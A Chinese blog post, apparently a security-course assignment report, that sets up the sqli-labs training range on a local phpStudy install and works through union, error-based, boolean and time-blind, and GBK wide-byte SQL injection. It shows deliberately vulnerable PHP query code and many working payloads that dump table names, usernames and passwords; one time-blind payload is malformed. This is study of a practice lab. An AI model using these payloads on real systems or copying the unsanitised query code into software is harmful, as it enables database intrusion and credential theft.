Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

第十周:注入代码编写与环境搭建

任务标题:安全之各种注入类型的环境搭建和代码编写(使用什么语言,自选)

1、编写常规回显注入的代码,在之前的搭建的环境中测试是否正常

2、编写报错注入的代码,并做相应的服务器配置来满足条件,并测试代码是否正常

3、编写盲注的代码,在之前的搭建的环境中测试是否正常

4、编写宽子节注入的代码,并做相应的服务器配置来满足条件,并测试代码是否正常

注意事项:环境可以是虚拟机的快照、也可以是 docker 环境,具体用什么可以自选,重点是学习造成这几类注入的原因;注入漏洞通常会出现在多个场景,比如:注册、登录、查询、搜索、留言等,所以写那些脚本的时候可以自选场景,不限于举例的场景;有些注入环境与服务器配置相关,需要大家配置相应的漏洞环境来结合自己编写的脚本完成漏洞环境的搭建。

如何编写漏洞脚本呢?有些同学一点编程基础都没有,想要自己实现漏洞代码非常艰难,怎么办呢?

第一级:完全不懂,没有一点开发经验的

对于这部分同学,直接去写漏洞代码有点强人所难,如何跟上节奏完成任务呢?自己可以去收集一些 关于 sql 注入的 CTF 题目,将那些题目搭建起来,不用写代码、也不用看代码,通过自己的搜索能力完成本周的任务也是可以的,具体代码想要看懂需要时间,这个可以后续自己节省时间来学习编程基础。

第二级:懂点 PHP 编程语法,能看懂 php 代码的

这部分同学就不要光搭建了,html、js 等前端基础没有的情况下,编写页面也比较费劲,那么你也可以去像第一级同学一样的方式去获取一些题目,然后自己是看得懂代码的,所以可以基于那些 ctf 已有前端,然后更改后端代码,从而实现本周任务,就是借用别人的前端,完成自己的目标。

第三级:会写 php 并且懂一些前端 js、html 等基础

这部分同学就比较高级了,完全可以自己实现相关代码,前端后端,各种场景,应该得心应手了,所以要给大家做表率,可以挑一些少见的场景来设计实现,作为大家的领路人。

其他情况

大家对于编程语言有不同的基础,大家可以选择自己擅长的语言来实现,具体情况自己来定。

学习报告

0x00 环境搭建

在语言方面比较弱,如果重新学习语言耗费的时间精力会比较多,因此这次采用的是开源靶场sqli-labs来进行实验,首先简单说一下环境的搭建过程。

  1. 下载安装phpstudy2016版本

    https://www.xp.cn/wenda/407.html

  2. 下载sqli-labs

    https://github.com/Audi-1/sqli-labs

  3. 将下载好的sqli-labs解压到phpstudy的www文件夹中

  4. 修改sqli-labs目录中sqli-labs\sql-connections\db-creds.inc文件

    $dbuser =’root’;

    $dbpass =’root’;

    $dbname =”security”;

    $host = ‘localhost’;

    $dbname1 = “challenges”;

  5. 启动phpstudy,浏览器打开http://127.0.0.1/sqli-labs/进入首页后点击第一个创建数据库,创建完成后返回首页下滑即可看到关卡。

0x01 常规回显的注入代码

首先进入第一关,接了一个',页面有回显。

image-20201229215926381

看下源代码,找一下漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if(isset($_GET['id']))
{
$id=$_GET['id']; //1.接收获得的id值
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //2.从这里可以看到未对传进来的ID值进入处理
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>

个人喜欢联合注入,用联合注入来做一下这道题。

  1. 用order by来判断一下列数数?id=1' order by 4 --+ 注意 +在url中表示为空格,–为mysql的注释符。

    image-20201229222229949

  2. 报错。说明不存在4列,一般可使用二分法快速定位,这里的列数少就不用了,直接用?id=1' order by 3 --+

    image-20201229222402070

  3. 正常显示,说明一共有3列。显示位判断?id=-1' union select 1,2,3 --+显示位判断的意思是网页中能够显示信息的位置,我们只可以通过这个位置获取到想要的信息,1、2、3可以理解为占位符,上面说了一个有三列,我们用1、2、3占满位置,通过回显信息就可以知道哪个位置可以接收到返回信息。这里的id=-1是为了构造一条查询结果为空的语句,这样在进行union联合查询时只会显示后一条语句的返回结果。

    image-20201229223502624

  4. 看一下当前的数据库名?id=-1' UNION SELECT 1,2,DATABASE() --+,执行DATABASE()函数借用3号位置进行回显,通过回显信息我易知当前数据库名为security。

    image-20201230123709069

  5. 查询当前数据库下的表名?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+。通过回显数据知道了一共存在四个表。在不知道数据库名的情况下可以用database()代替省略第4步?id=-1' union select 1,2,(select group_concat(table_name) frominformation_schema.tables where table_schema=database()) --+

    image-20201230124842363

    1
    2
    3
    4
    MySQL的行转列、列转行、连接字符串  concat、concat_ws、group_concat函数用法
    CONCAT(str1,str2,…)
    CONCAT_WS(separator,str1,str2,...)
    group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator'分隔符'])
  6. 查询user表下的字段名select group_concat(column_name) from information_schema.columns where table_name='users'

    image-20201230130823332

  7. 查询字段对应的数据?id=-1' union select 1,2,(select group_concat(id,username,password SEPARATOR '<br>') from users) --+ 在进行换行时也可以将<br>写成0x3c62723e进行换行。

    image-20201230132303361

    也可以用CONCAT_WS(separator,str1,str2,…)函数对ID、username、password进行分割?id=-1' union select 1,2,(select group_concat(concat_ws('**',id,username,password)) from users) --+

    image-20201230133417735

    还可以用select group_concat(concat(username, 0x7e, password)) from users 对两个字段进行分割。

0x02 报错注入的代码

注入的本质都是sql语句的执行,报错注入的回显来自错误中、时间盲注在回显在时间判断中、DNSlog盲注中回显在DNSlog中。

第一部分的代码中同样可以用报错注入,但是多见识几种代码的写法总是好的,所以来看看靶场的第5关,用我们用的playload测试一下?id=1' order by 3 --+

image-20201230192541404

通过多次测试可以知道了语句执行正确时会打印出”You are in…..”,不会有语句的回显。看一下源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(isset($_GET['id']))
{
$id=$_GET['id'];

$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........'; // 1.可以看到语句执行后没有回显
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error()); //2.打印出语句执行的错误信息
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
  1. 通过代码知道了会有语句执行错误的信息打印出来,因此我们可以精心构造playload利用报错来显示我们需要的一些敏感数据。

  2. 通过报错来获取数据库名。常用的有通过floor报错、通过updatexml报错、通过ExtractValue报错

    • 通过floor报错来获取数据库名,其中payload为我们自己构造的代码。

      1
      2
      3
      ?id=1' and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

      原理简析:sql语句规定在查询结果的基础上再执行查询时,需要给之前的结果一个别名。因此x代表(rand(0)*2))结果,而a代表着前面整个select语句的执行结果。根据mysql的特性,floor(),group by()冲突报错一起使用时会产生冲突。

      ?id=1' and (select 1 from (select count(*),concat((DATABASE()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

      该语句的输出字符长度限制为64个字符

      image-20201230195529653

    • 通过updatexml报错来获取数据库名,其中payload为我们自己构造的代码。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      ?id=1' and updatexml(1,concat(0x7e,(playload),0x7e),3) --+

      UPDATEXML (XML_document, XPath_string, new_value);
      第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
      第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
      第三个参数:new_value,String格式,替换查找到的符合条件的数据
      作用:改变文档中符合条件的节点的值

      原理简析:0x7e为~的ASSIC编码,而updatexml的第二个参数需要Xpath格式的字符串,但是通过coucat()函数构造了一个~payload~的字符串,明显不符合xml的语法格式

      ?id=1' and updatexml(1,concat(0x7e,(DATABASE()),0x7e),3) --+

      只有在payload返回的结果不是xml格式时才会生效,该语句的输出字符长度限制为64个字符

      image-20201230200946330

    • 通过ExtractValue报错来获取数据库名,其中payload为我们自己构造的代码。

      1
      2
      3
      4
      5
      6
      7
      8
      ?id=1' and extractvalue(1,concat(0x7e,(playload),0x7e)) --+

      EXTRACTVALUE (XML_document, XPath_string);
      第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
      第二个参数:XPath_string (Xpath格式的字符串)
      作用:对XML文档进行查询的函数

      原理简析:与updatexml()函数原理差不多,第二个参数都要求为xpath格式字符串,构造了一个不符合xml格式的字符串~playload~。

      ?id=1' and extractvalue(1,concat(0x7e,(DATABASE()),0x7e)) --+

      该语句的输出字符长度限制为32个字符

      image-20201230203349876

  3. 现在我们知道了数据库的名字为security,接下来就是常规的sql注入流程,本次利用ExtractValue报错来来完成接下来的操作。按照流程爆一下数据库的表?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) --+,这里的playload与关卡一用到的相同。

    image-20201230204513171

  4. 现在可以查询下users表下的字段名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) --+

    image-20201230204803589

    由于通过updatexml报错最多只能返回32个字符,所以可以对payload进行改进,通过增加limit来实现位置偏移拿到所有的信息。?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+。删除了原有的group_concat()函数,增加了limit a,b 函数,a代表起始数,b代表步数。所以通过固定b=1,a=0开始每次增1就可以读到所有数据。

    image-20201230211945252

  5. 通过查询列名获得了两个敏感的列分别是username和password。接着爆数据值?id=1' and extractvalue(1,concat(0x7e,(select concat(username, 0x7e, password) from users limit 0,1 ),0x7e)) --+,同理,通过遍历limit第一个字段的值就可以取到所有的数据。

    image-20201230212319296

0x03 盲注的代码

1.布尔盲注

靶场第八关,源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

通过对代码进行分析发现语句输入正确时会打印一个’You are in…..’,而错误的输出信息消失了。如果构造一条语句请求已知只会有两种结果,回显信息和不回显,所以我们可以通过构造字段去猜测数据库名字等。

常用的函数

  1. left(a,b):从a的左侧截取b位
  2. substr(a,b,c) :字符串a的下标值b到c之间的字符
  3. ascii(a) :将a转换成assic码值
  4. length(a):返回字符串a的长度
  • ?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+ assic值115对应的字符为s,数据库第一个字符为s,如果是则有回显,不是则无回显。

    image-20201230215511126

  • ?id=1' and left(database(),1)>'s'--+ 第一个字符的assic值是否大于s,大于则有回显

  • ?id=1' and length(database()) = 8 --+数据库名的长度是否为8,正确则有回显

通过上面这种方法,改变逻辑关系> < =,通过编写脚本可以快速跑出相对应的值。

2.时间盲注

靶场第九关,源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}

通过对源代码分析,发现不管输入什么都会回显’You are in…..’,也就是说我们不知道sql语句到底执行了没有。

常用函数 if(exp1,exp2,exp3)

作用:如果exp1为真则执行exp2,否则执行exp3

由上,可以利用if函数构造payload。if(payload,1,sleep(5)) ,如果查询的payload为真,则立即返回否则页面休眠5秒。通过if语句我们人为的构造出来了一个布尔逻辑,利用方式与上面相同

  • ?id=1' and if(length(database()) = 8,1,sleep(5)) --+

    image-20201231103645169

    而当长度变为5时(实际长度是8),相应时间明显变长

    image-20201231103850645

  • 判断逻辑与布尔盲注相同了,只不过这里通过延迟来判断语句是否执行正确

  • ?id=1' and if(ascii(substr((select database()) ,1,1)) = 115,1,sleep(5)) --+assic值115对应的字符为s,数据库第一个字符为s,如果是则立即刷新页面,不是则等待5秒后刷新页面。

  • ?id=1' and if(left(database(),1)>'s' ,1,1)) = 115,1,sleep(5)) --+ 第一个字符的assic值是否大于s,大于则立即刷新页面

  • 通过各种逻辑关系的组合,可以推出数据关系。

0x04 编写宽字节注入的代码

靶场第32关,源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
//这个函数的作用是将用户输入的'与''变为转义成为内容(即添加\)从而避免了sql攻击
function check_addslashes($string)
{
//避开任何反斜杠,将\转化为\\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//用反斜杠转义单引号,将'转化为\'
$string = preg_replace('/\'/i', '\\\'', $string);
//用反斜杠转义单引号转义双引号,将"转化为\"
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
...

通过对源码分析,我们发现之前用'(或%27)来闭合sql语句的方法失效了,为了避免'"被转义一般有两个思路:一个是让转义符失去作用(即再添加一个\注释掉之后的\df%5c%5c);一个是让转义符消失。而通过宽字节注入的原理就是基于第二种,让转义符变内容的一部分从而让转义符消失。

宽字节:因为汉字比较多,一般占用两个字符来表示,即为宽字节。

常用的宽字节编码:GB2312、GBK、GB18030

宽字节注入原理:在转义符\前构造一个特殊值与之结合形成一个汉字,从而使转义符消失。转义符的编码为%5c,而在数据库GBK编码中,%df%5c恰好为繁体字的代码

  • ?id=-1' UNION SELECT 1,2,DATABASE() --+ 可以发现'被注释掉了,没有回显信息。

    image-20201231133446179

  • ?id=-1%df' UNION SELECT 1,2,DATABASE() --+ 增加了一个%df,数据库实际接收到的字符为%df%5c%27 ,如果数据库是GBK编码%df%5c会被译为,而%27正好是一个',闭合了sql语句。

    image-20201231134015958

  • 接下来就是常规的注入流程了。

    1. 爆数据表?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

    2. 从users表中获取字段?id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+ 因为有转义,所以尽量不使用',会报错。所以将users转化为十六进制格式0x7573657273

      获取表的正确写法?id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) --+

    3. 获取字段相对应的数据?id=-1%df' union select 1,2,(select group_concat(concat(username, 0x7e, password)) from users) --+

      image-20201231173039055

0x05 参考文章